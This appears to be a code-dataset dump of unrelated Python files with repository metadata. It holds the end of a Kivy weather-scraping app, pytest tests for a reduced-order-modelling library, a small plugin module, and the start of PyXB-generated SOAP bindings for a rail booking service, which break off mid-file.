status_of_weather=str(status), temp_of_hour=new_temp, bc_color=self.bc_color, text_color=self.text_color)) pass def new_one(self): self.sea = search() self.sea.open() def background_time(self): print(self.time) print(self.sunrise) print(self.sunset) if int(self.time[0:2]) > int(self.sunrise[0:2]) and int(self.time[0:2])<= int(self.sunset[0:2]): print("öğlen") self.bc_color =(.1098, .650, .99215, 1) self.text_color = (1,1,1,1) else: print("akşam") self.bc_color =(.019,.11,.47 ,1) self.text_color = (1,1,1,1) def on_start(self): self.daily(daily_url) self.background_time() def daily(self, url): r = requests.get(url) soup = BeautifulSoup(r.content, "html.parser") tablo = soup.find(class_='tb-scroll') img = tablo.find_all('img') data = tablo.find_all('tr') full_text = data[2].get_text() ####### ##### ### ## sunset = full_text[-1:-6:-1][::-1] sunrise = full_text[-6:-11:-1][::-1] print(sunrise, sunset) texts = str(full_text).split(" ") # print(texts) # print(full_text) situation = str(full_text).split("°C") # print(situation) wind = situation[2][0:7] day_name = texts[0][0:3] day_num = texts[0].replace(day_name[0:3], "") day = day_num + texts[1][0:3] second = texts[3].replace("xa", " ") second = situation[0].split(" ") # print(second) temp = str(texts[1][3:]) + "/" + str(second[3].replace("\xa0", "") + " °C") day_name = days[day_name] print("day name ==", day_name) print("day ==", day) print("temperature ==", temp) situation = situation[1].split(".") # print(situation) if situation[1][0:2].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) # self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() source = "weather_images/" + source + ".png" status = "Today: "+ situation_of_weather +" and weather is between " +temp.replace("/"," / ")+" temperature" print(status) #self.root.ids['main_screen'].today.add_widget(card_of_today(sunrise=sunrise,sunset=sunset,wind=wind,feels_like=feels_like,status=situation_of_weather)) self.root.ids['main_screen'].ids.feels_like.text = feels_like self.root.ids['main_screen'].ids.sunrise.text = sunrise self.root.ids['main_screen'].ids.sunset.text = sunset self.root.ids['main_screen'].ids.wind.text = wind self.root.ids['main_screen'].ids.today_info.text = status self.sunrise = sunrise self.sunset = sunset elif situation[1][0:1].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() source = "weather_images/" + source + ".png" status = "Today: "+ situation_of_weather +" and weather is between " +temp.replace("/"," / ")+" temperature" #self.root.ids['main_screen'].today.add_widget(card_of_today(sunrise=sunrise,sunset=sunset,wind=wind,feels_like=feels_like,status=situation_of_weather)) self.root.ids['main_screen'].ids.feels_like.text = feels_like self.root.ids['main_screen'].ids.sunrise.text = sunrise self.root.ids['main_screen'].ids.sunset.text = sunset self.root.ids['main_screen'].ids.wind.text = wind self.root.ids['main_screen'].ids.today_info.text = status self.sunrise = sunrise self.sunset = sunset else: situation_of_weather = str(situation[0]) + str(situation[1]) print("situation of weather ==", situation_of_weather) feels_like = str(situation[2]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() source = "weather_images/" + source + ".png" status = "Today: "+ situation_of_weather +" and weather is between " +temp.replace("/"," / ")+" temperature" print(status) #self.root.ids['main_screen'].today.add_widget(card_of_today(sunrise=sunrise,sunset=sunset,wind=wind,feels_like=feels_like,status=situation_of_weather)) self.root.ids['main_screen'].ids.feels_like.text = feels_like self.root.ids['main_screen'].ids.sunrise.text = sunrise self.root.ids['main_screen'].ids.sunset.text = sunset self.root.ids['main_screen'].ids.wind.text = wind self.root.ids['main_screen'].ids.today_info.text = status self.sunrise = sunrise self.sunset = sunset #### ### ### ### ### self.hourly(hourly_url) ##### This code suppose to be here cause of i little bit comlicated the code ####### #### ### for i in range(2, len(data) - 3): j = i-2 src = str(img[j]).split("src") src = src[1].split(" ")[0].replace("=", "")[1:][:-1][24:].replace(".svg","") +".png" print(src) full_text = data[i].get_text() sunset =full_text[-1:-6:-1][::-1] sunrise = full_text[-6:-11:-1][::-1] print(sunrise,sunset) texts = str(full_text).split(" ") # print(texts) # print(full_text) situation = str(full_text).split("°C") # print(situation) wind = situation[2][0:7] day_name = texts[0][0:3] day_num = texts[0].replace(day_name[0:3], "") day = day_num + texts[1][0:3] second = texts[3].replace("xa", " ") second = situation[0].split(" ") # print(second) temp = str(texts[1][3:]) + "/" + str(second[3].replace("\xa0", "") + " °C") day_name = days[day_name] if i == 2: print(full_text) sunset = full_text[-1:-6:-1][::-1] sunrise = full_text[-6:-11:-1][::-1] print("day name ==", day_name) print("day ==", day) print("temperature ==", temp) situation = situation[1].split(".") # print(situation) if situation[1][0:2].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) #self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() src = "weather_images/" + src print(source) self.root.ids['main_screen'].ids.daily.add_widget(card_of_daily(day=day_name,temperature=temp,image=src,color=self.bc_color,text_color=self.text_color)) elif situation[1][0:1].isdigit() == True: situation_of_weather = situation[0] print("situation of weather ==", situation_of_weather) feels_like = str(situation[1]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) source = str(situation_of_weather).replace(" ", "_").replace(".", "").lower() src = "weather_images/" + src print(source) #self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) self.root.ids['main_screen'].ids.daily.add_widget(card_of_daily(day=day_name,temperature=temp,image=src,color=self.bc_color,text_color=self.text_color)) else: denemelik = situation[0] situation_of_weather = str(situation[0]) + str(situation[1]) print("situation of weather ==", situation_of_weather) feels_like = str(situation[2]) + " °C" print("feels like ==", feels_like) print("wind speed ==", wind) print("*" * 40) #source = str(denemelik).replace(" ", "_").replace(".", "").lower() src = "weather_images/" + src #self.root.ids['main_screen'].ids.day.add_widget(card(hour=)) self.root.ids['main_screen'].ids.daily.add_widget(card_of_daily(day=day_name,temperature=temp,image=src,color=self.bc_color,text_color=self.text_color)) ############ ########### ######### ####### ############## ########### ######### ########## ####### def hourly(self,url): # This is literally good for now without png spots r = requests.get(url) soup = BeautifulSoup(r.content, "html.parser") tablo = soup.find(class_='tb-scroll') data = tablo.find_all('tr') img = tablo.find_all('img') self.time = data[2].get_text()[:5] self.background_time() for i in range(3, len(data) - 1): full_text = data[i].get_text() hour = full_text[:5] print(full_text) new_temp = str(full_text).split("°C")[1].split(".")[-1].replace(" ","")+"°C" j = i - 2 src = str(img[j]).split("src") src = src[1].split(" ")[0].replace("=", "")[1:][:-1][24:].replace(".svg", "") + ".png" temp_of_hour = full_text[5:10] new_text = full_text[10:] new_text = str(new_text).split("°C") feels_like = new_text[0] feels_like = feels_like[:-4:-1] status = new_text[0] status = status[:-3] wind = new_text[1] wind = wind[0:7] feels_like = feels_like[::-1] print("time == ", hour) print("Temperature of hour == ", new_temp) print("situation of weather == ", status) print("Feels like == ", feels_like) print("Wind == ", wind) print("*" * 40) status = str(status).replace(" ", "_").replace(".", "").lower() if int(str(hour)[0:2])<6 or int(str(hour)[0:2])>21 : morning = True night = False if str(hour[0:2]) == "00": # i am gonna put here png which is gonna be This New Day text thing status = "weather_images/" "new_day.png" print("newday") self.root.ids['main_screen'].ids.hour.add_widget(card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=full_text[5:11],bc_color=self.bc_color,text_color=self.text_color)) else: src = src = "weather_images/" + src self.root.ids['main_screen'].ids.hour.add_widget( card_of_hours(hour=hour, status_of_weather=str(src), temp_of_hour=new_temp,bc_color=self.bc_color,text_color=self.text_color)) else: night = True morning = False print(status) if status == "sprinkles_more_sun_than_clouds": status = "rainy" status = "weather_images/" + src self.root.ids['main_screen'].ids.hour.add_widget( card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=new_temp,bc_color=self.bc_color,text_color=self.text_color)) elif status == "sprinkles_partly_cloudy": status = "rainy" status = "weather_images/" + src self.root.ids['main_screen'].ids.hour.add_widget(card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=new_temp,bc_color=self.bc_color,text_color=self.text_color)) else: status = "weather_images/" + src self.root.ids['main_screen'].ids.hour.add_widget(card_of_hours(hour=hour, status_of_weather=str(status), temp_of_hour=new_temp,bc_color=self.bc_color,text_color=self.text_color)) MainApp().run()

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a2c9f0de5893f88b71fee3e4249054c63bd82c1b

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Python

tests/pre/test_reprojection.py

shanemcq18/rom-operator-inference-Python3

ba4bfeaba692f10bf426561c64e7c9fb21120620

[ "MIT" ]

2

2020-02-24T17:37:53.000Z

2020-05-17T23:26:45.000Z

tests/pre/test_reprojection.py

shanemcq18/rom-operator-inference-Python3

ba4bfeaba692f10bf426561c64e7c9fb21120620

[ "MIT" ]

null

tests/pre/test_reprojection.py

shanemcq18/rom-operator-inference-Python3

ba4bfeaba692f10bf426561c64e7c9fb21120620

[ "MIT" ]

null

# pre/test_reprojection.py """Tests for rom_operator_inference.pre._reprojection.py""" import pytest import numpy as np from scipy import linalg as la import rom_operator_inference as opinf # Reprojection schemes ======================================================== def test_reproject_discrete(n=50, m=5, r=3): """Test pre._reprojection.reproject_discrete().""" # Construct dummy operators. k = 1 + r + r*(r+1)//2 D = np.diag(1 - np.logspace(-1, -2, n)) W = la.qr(np.random.normal(size=(n,n)))[0] A = W.T @ D @ W Ht = np.random.random((n,n,n)) H = (Ht + Ht.T) / 20 H = H.reshape((n, n**2)) B = np.random.random((n,m)) U = np.random.random((m,k)) B1d = np.random.random(n) U1d = np.random.random(k) Vr = np.eye(n)[:,:r] x0 = np.zeros(n) x0[0] = 1 # Try with bad initial condition shape. with pytest.raises(ValueError) as exc: opinf.pre.reproject_discrete(lambda x: x, Vr, x0[:-1], k) assert exc.value.args[0] == "basis Vr and initial condition x0 not aligned" # Linear case, no inputs. def f(x): return A @ x X_ = opinf.pre.reproject_discrete(f, Vr, x0, k) assert X_.shape == (r,k) rom = opinf.InferredDiscreteROM("A").fit(Vr, X_) assert np.allclose(Vr @ X_, rom.predict(X_[:,0], k)) assert np.allclose(rom.A_, Vr.T @ A @ Vr) # Linear case, 1D inputs. def f(x, u): return A @ x + B1d * u X_ = opinf.pre.reproject_discrete(f, Vr, x0, k, U1d) assert X_.shape == (r,k) rom = opinf.InferredDiscreteROM("AB").fit(Vr, X_, U1d) assert np.allclose(X_, Vr.T @ rom.predict(X_[:,0], k, U1d)) assert np.allclose(rom.A_, Vr.T @ A @ Vr) assert np.allclose(rom.B_.flatten(), Vr.T @ B1d) # Linear case, 2D inputs. def f(x, u): return A @ x + B @ u X_ = opinf.pre.reproject_discrete(f, Vr, x0, k, U) assert X_.shape == (r,k) rom = opinf.InferredDiscreteROM("AB").fit(Vr, X_, U) assert np.allclose(X_, Vr.T @ rom.predict(X_[:,0], k, U)) assert np.allclose(rom.A_, Vr.T @ A @ Vr) assert np.allclose(rom.B_, Vr.T @ B) # Quadratic case, no inputs. def f(x): return A @ x + H @ np.kron(x,x) X_ = opinf.pre.reproject_discrete(f, Vr, x0, k) assert X_.shape == (r,k) rom = opinf.InferredDiscreteROM("AH").fit(Vr, X_) assert np.allclose(X_, Vr.T @ rom.predict(X_[:,0], k)) assert np.allclose(rom.A_, Vr.T @ A @ Vr, atol=1e-6, rtol=1e-6) H_ = Vr.T @ H @ np.kron(Vr, Vr) for _ in range(10): x_ = np.random.random(r) x2_ = np.kron(x_, x_) assert np.allclose(rom.H_ @ opinf.utils.kron2c(x_), H_ @ x2_) def test_reproject_continuous(n=100, m=20, r=10): """Test pre._reprojection.reproject_continuous().""" # Construct dummy operators. k = 1 + r + r*(r+1)//2 D = np.diag(1 - np.logspace(-1, -2, n)) W = la.qr(np.random.normal(size=(n,n)))[0] A = W.T @ D @ W Ht = np.random.random((n,n,n)) H = (Ht + Ht.T) / 20 H = H.reshape((n, n**2)) B = np.random.random((n,m)) U = np.random.random((m,k)) B1d = np.random.random(n) U1d = np.random.random(k) Vr = np.eye(n)[:,:r] X = np.random.random((n,k)) # Try with bad initial condition shape. with pytest.raises(ValueError) as exc: opinf.pre.reproject_continuous(lambda x:x, Vr, X[:-1,:]) assert exc.value.args[0] == \ f"X and Vr not aligned, first dimension {n-1} != {n}" # Linear case, no inputs. def f(x): return A @ x X_, Xdot_ = opinf.pre.reproject_continuous(f, Vr, X) assert X_.shape == (r,k) assert Xdot_.shape == (r,k) rom = opinf.InferredContinuousROM("A").fit(Vr, X_, Xdot_) assert np.allclose(rom.A_, Vr.T @ A @ Vr) # Linear case, 1D inputs. def f(x, u): return A @ x + B1d * u X_, Xdot_ = opinf.pre.reproject_continuous(f, Vr, X, U1d) assert X_.shape == (r,k) assert Xdot_.shape == (r,k) rom = opinf.InferredContinuousROM("AB").fit(Vr, X_, Xdot_, U1d) assert np.allclose(rom.A_, Vr.T @ A @ Vr) assert np.allclose(rom.B_.flatten(), Vr.T @ B1d) # Linear case, 2D inputs. def f(x, u): return A @ x + B @ u X_, Xdot_ = opinf.pre.reproject_continuous(f, Vr, X, U) assert X_.shape == (r,k) assert Xdot_.shape == (r,k) rom = opinf.InferredContinuousROM("AB").fit(Vr, X_, Xdot_, U) assert np.allclose(rom.A_, Vr.T @ A @ Vr) assert np.allclose(rom.B_, Vr.T @ B) # Quadratic case, no inputs. def f(x): return A @ x + H @ np.kron(x,x) X_, Xdot_ = opinf.pre.reproject_continuous(f, Vr, X) assert X_.shape == (r,k) assert Xdot_.shape == (r,k) rom = opinf.InferredContinuousROM("AH").fit(Vr, X_, Xdot_) assert np.allclose(rom.A_, Vr.T @ A @ Vr) H_ = Vr.T @ H @ np.kron(Vr, Vr) for _ in range(10): x_ = np.random.random(r) x2_ = np.kron(x_, x_) assert np.allclose(rom.H_ @ opinf.utils.kron2c(x_), H_ @ x2_)

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a2cf9821dfc6b495baa1b2569e0ad255b12b258f

98

py

Python

cloeepy_boto/__init__.py

cloeeai/CloeePy-Boto

c9ba48d12fde1a224577794bce3fdca6a6d3fb96

[ "MIT" ]

null

cloeepy_boto/__init__.py

cloeeai/CloeePy-Boto

c9ba48d12fde1a224577794bce3fdca6a6d3fb96

[ "MIT" ]

null

cloeepy_boto/__init__.py

cloeeai/CloeePy-Boto

c9ba48d12fde1a224577794bce3fdca6a6d3fb96

[ "MIT" ]

null

from cloeepy_boto.cloeepy_boto import CloeePyBoto def get_plugin_class(): return CloeePyBoto

19.6

49

0.826531

13

98

5.923077

0.769231

0.285714

0

0.132653

98

4

50

24.5

0.905882

0

1

0.333333

true

0

0.333333

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

a2d67fc2fc0e99ede0cea4de4b5cb88e8cc0f7c8

171,922

py

Python

silver/silverraw/silvercore.py

IshavanBaar/railaid

d8d1c4f834018b954d70ccb00a626961617d5453

[ "MIT" ]

5

2015-11-17T12:47:20.000Z

2017-06-15T14:10:29.000Z

silver/silverraw/silvercore.py

HackTrain/silver

339165d1b2cc6988567ce94313a66c5c0b0b95c4

[ "MIT" ]

null

silver/silverraw/silvercore.py

HackTrain/silver

339165d1b2cc6988567ce94313a66c5c0b0b95c4

[ "MIT" ]

null

# ./silvercore.py # -*- coding: utf-8 -*- # PyXB bindings for NM:124ab58ff634848548cf6d9d1320f856ff23519e # Generated 2015-11-14 16:58:02.798568 by PyXB version 1.2.4 using Python 2.7.9.final.0 # Namespace http://schemas.xmlsoap.org/soap/envelope/ from __future__ import unicode_literals import pyxb import pyxb.binding import pyxb.binding.saxer import io import pyxb.utils.utility import pyxb.utils.domutils import sys import pyxb.utils.six as _six # Unique identifier for bindings created at the same time _GenerationUID = pyxb.utils.utility.UniqueIdentifier('urn:uuid:dd5dc02e-8af0-11e5-954c-7831c1d0cf70') # Version of PyXB used to generate the bindings _PyXBVersion = '1.2.4' # Generated bindings are not compatible across PyXB versions if pyxb.__version__ != _PyXBVersion: raise pyxb.PyXBVersionError(_PyXBVersion) # Import bindings for namespaces imported into schema import silvershop as _ImportedBinding_silvershop import pyxb.binding.datatypes import silverbook as _ImportedBinding_silverbook # NOTE: All namespace declarations are reserved within the binding Namespace = pyxb.namespace.NamespaceForURI('http://schemas.xmlsoap.org/soap/envelope/', create_if_missing=True) Namespace.configureCategories(['typeBinding', 'elementBinding']) def CreateFromDocument (xml_text, default_namespace=None, location_base=None): """Parse the given XML and use the document element to create a Python instance. @param xml_text An XML document. This should be data (Python 2 str or Python 3 bytes), or a text (Python 2 unicode or Python 3 str) in the L{pyxb._InputEncoding} encoding. @keyword default_namespace The L{pyxb.Namespace} instance to use as the default namespace where there is no default namespace in scope. If unspecified or C{None}, the namespace of the module containing this function will be used. @keyword location_base: An object to be recorded as the base of all L{pyxb.utils.utility.Location} instances associated with events and objects handled by the parser. You might pass the URI from which the document was obtained. """ if pyxb.XMLStyle_saxer != pyxb._XMLStyle: dom = pyxb.utils.domutils.StringToDOM(xml_text) return CreateFromDOM(dom.documentElement, default_namespace=default_namespace) if default_namespace is None: default_namespace = Namespace.fallbackNamespace() saxer = pyxb.binding.saxer.make_parser(fallback_namespace=default_namespace, location_base=location_base) handler = saxer.getContentHandler() xmld = xml_text if isinstance(xmld, _six.text_type): xmld = xmld.encode(pyxb._InputEncoding) saxer.parse(io.BytesIO(xmld)) instance = handler.rootObject() return instance def CreateFromDOM (node, default_namespace=None): """Create a Python instance from the given DOM node. The node tag must correspond to an element declaration in this module. @deprecated: Forcing use of DOM interface is unnecessary; use L{CreateFromDocument}.""" if default_namespace is None: default_namespace = Namespace.fallbackNamespace() return pyxb.binding.basis.element.AnyCreateFromDOM(node, default_namespace) # Atomic simple type: [anonymous] class STD_ANON (pyxb.binding.datatypes.boolean): """An atomic simple type.""" _ExpandedName = None _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 87, 4) _Documentation = None STD_ANON._CF_pattern = pyxb.binding.facets.CF_pattern() STD_ANON._CF_pattern.addPattern(pattern='0|1') STD_ANON._InitializeFacetMap(STD_ANON._CF_pattern) # List simple type: {http://schemas.xmlsoap.org/soap/envelope/}encodingStyle # superclasses pyxb.binding.datatypes.anySimpleType class encodingStyle (pyxb.binding.basis.STD_list): """ 'encodingStyle' indicates any canonicalization conventions followed in the contents of the containing element. For example, the value 'http://schemas.xmlsoap.org/soap/encoding/' indicates the pattern described in SOAP specification """ _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'encodingStyle') _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 94, 0) _Documentation = "\n 'encodingStyle' indicates any canonicalization conventions followed in the contents of the containing element. For example, the value 'http://schemas.xmlsoap.org/soap/encoding/' indicates the pattern described in SOAP specification\n " _ItemType = pyxb.binding.datatypes.anyURI encodingStyle._InitializeFacetMap() Namespace.addCategoryObject('typeBinding', 'encodingStyle', encodingStyle) # Complex type {http://schemas.xmlsoap.org/soap/envelope/}Envelope with content type ELEMENT_ONLY class Envelope_ (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://schemas.xmlsoap.org/soap/envelope/}Envelope with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Envelope') _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 15, 4) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://schemas.xmlsoap.org/soap/envelope/}Header uses Python identifier Header __Header = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Header'), 'Header', '__httpschemas_xmlsoap_orgsoapenvelope_Envelope__httpschemas_xmlsoap_orgsoapenvelopeHeader', False, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 23, 4), ) Header = property(__Header.value, __Header.set, None, None) # Element {http://schemas.xmlsoap.org/soap/envelope/}Body uses Python identifier Body __Body = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Body'), 'Body', '__httpschemas_xmlsoap_orgsoapenvelope_Envelope__httpschemas_xmlsoap_orgsoapenvelopeBody', False, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 30, 4), ) Body = property(__Body.value, __Body.set, None, None) _AttributeWildcard = pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://schemas.xmlsoap.org/soap/envelope/')) _HasWildcardElement = True _ElementMap.update({ __Header.name() : __Header, __Body.name() : __Body }) _AttributeMap.update({ }) Namespace.addCategoryObject('typeBinding', 'Envelope', Envelope_) # Complex type {http://schemas.xmlsoap.org/soap/envelope/}Header with content type ELEMENT_ONLY class Header_ (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://schemas.xmlsoap.org/soap/envelope/}Header with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Header') _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 24, 4) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType _AttributeWildcard = pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_lax, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://schemas.xmlsoap.org/soap/envelope/')) _HasWildcardElement = True _ElementMap.update({ }) _AttributeMap.update({ }) Namespace.addCategoryObject('typeBinding', 'Header', Header_) # Complex type {http://schemas.xmlsoap.org/soap/envelope/}Body with content type ELEMENT_ONLY class Body_ (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://schemas.xmlsoap.org/soap/envelope/}Body with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Body') _XSDLocation = pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 31, 4) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element pointToPointShoppingRequest uses Python identifier pointToPointShoppingRequest __pointToPointShoppingRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'pointToPointShoppingRequest'), 'pointToPointShoppingRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__pointToPointShoppingRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 33, 12), ) pointToPointShoppingRequest = property(__pointToPointShoppingRequest.value, __pointToPointShoppingRequest.set, None, None) # Element pointToPointShoppingResponse uses Python identifier pointToPointShoppingResponse __pointToPointShoppingResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'pointToPointShoppingResponse'), 'pointToPointShoppingResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__pointToPointShoppingResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 34, 12), ) pointToPointShoppingResponse = property(__pointToPointShoppingResponse.value, __pointToPointShoppingResponse.set, None, None) # Element travelPassShoppingRequest uses Python identifier travelPassShoppingRequest __travelPassShoppingRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'travelPassShoppingRequest'), 'travelPassShoppingRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__travelPassShoppingRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 35, 12), ) travelPassShoppingRequest = property(__travelPassShoppingRequest.value, __travelPassShoppingRequest.set, None, None) # Element travelPassShoppingResponse uses Python identifier travelPassShoppingResponse __travelPassShoppingResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'travelPassShoppingResponse'), 'travelPassShoppingResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__travelPassShoppingResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 36, 12), ) travelPassShoppingResponse = property(__travelPassShoppingResponse.value, __travelPassShoppingResponse.set, None, None) # Element scheduleSearchRequest uses Python identifier scheduleSearchRequest __scheduleSearchRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'scheduleSearchRequest'), 'scheduleSearchRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__scheduleSearchRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 37, 12), ) scheduleSearchRequest = property(__scheduleSearchRequest.value, __scheduleSearchRequest.set, None, None) # Element scheduleSearchResponse uses Python identifier scheduleSearchResponse __scheduleSearchResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'scheduleSearchResponse'), 'scheduleSearchResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__scheduleSearchResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 38, 12), ) scheduleSearchResponse = property(__scheduleSearchResponse.value, __scheduleSearchResponse.set, None, None) # Element addPaymentRequest uses Python identifier addPaymentRequest __addPaymentRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'addPaymentRequest'), 'addPaymentRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__addPaymentRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 39, 12), ) addPaymentRequest = property(__addPaymentRequest.value, __addPaymentRequest.set, None, None) # Element addPaymentResponse uses Python identifier addPaymentResponse __addPaymentResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'addPaymentResponse'), 'addPaymentResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__addPaymentResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 40, 12), ) addPaymentResponse = property(__addPaymentResponse.value, __addPaymentResponse.set, None, None) # Element authenticatePayerRequest uses Python identifier authenticatePayerRequest __authenticatePayerRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'authenticatePayerRequest'), 'authenticatePayerRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__authenticatePayerRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 41, 12), ) authenticatePayerRequest = property(__authenticatePayerRequest.value, __authenticatePayerRequest.set, None, None) # Element authenticatePayerResponse uses Python identifier authenticatePayerResponse __authenticatePayerResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'authenticatePayerResponse'), 'authenticatePayerResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__authenticatePayerResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 42, 12), ) authenticatePayerResponse = property(__authenticatePayerResponse.value, __authenticatePayerResponse.set, None, None) # Element cancelBookingRecordRequest uses Python identifier cancelBookingRecordRequest __cancelBookingRecordRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'cancelBookingRecordRequest'), 'cancelBookingRecordRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__cancelBookingRecordRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 43, 12), ) cancelBookingRecordRequest = property(__cancelBookingRecordRequest.value, __cancelBookingRecordRequest.set, None, None) # Element cancelBookingRecordResponse uses Python identifier cancelBookingRecordResponse __cancelBookingRecordResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'cancelBookingRecordResponse'), 'cancelBookingRecordResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__cancelBookingRecordResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 44, 12), ) cancelBookingRecordResponse = property(__cancelBookingRecordResponse.value, __cancelBookingRecordResponse.set, None, None) # Element claimValueDocumentRequest uses Python identifier claimValueDocumentRequest __claimValueDocumentRequest = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'claimValueDocumentRequest'), 'claimValueDocumentRequest', '__httpschemas_xmlsoap_orgsoapenvelope_Body__claimValueDocumentRequest', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 45, 12), ) claimValueDocumentRequest = property(__claimValueDocumentRequest.value, __claimValueDocumentRequest.set, None, None) # Element claimValueDocumentResponse uses Python identifier claimValueDocumentResponse __claimValueDocumentResponse = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(None, 'claimValueDocumentResponse'), 'claimValueDocumentResponse', '__httpschemas_xmlsoap_orgsoapenvelope_Body__claimValueDocumentResponse', True, pyxb.utils.utility.Location('/Users/bloomberglondonrd1/IdeaProjects/silvercore/xsd/all.xsd', 46, 12), ) claimValueDocumentResponse = 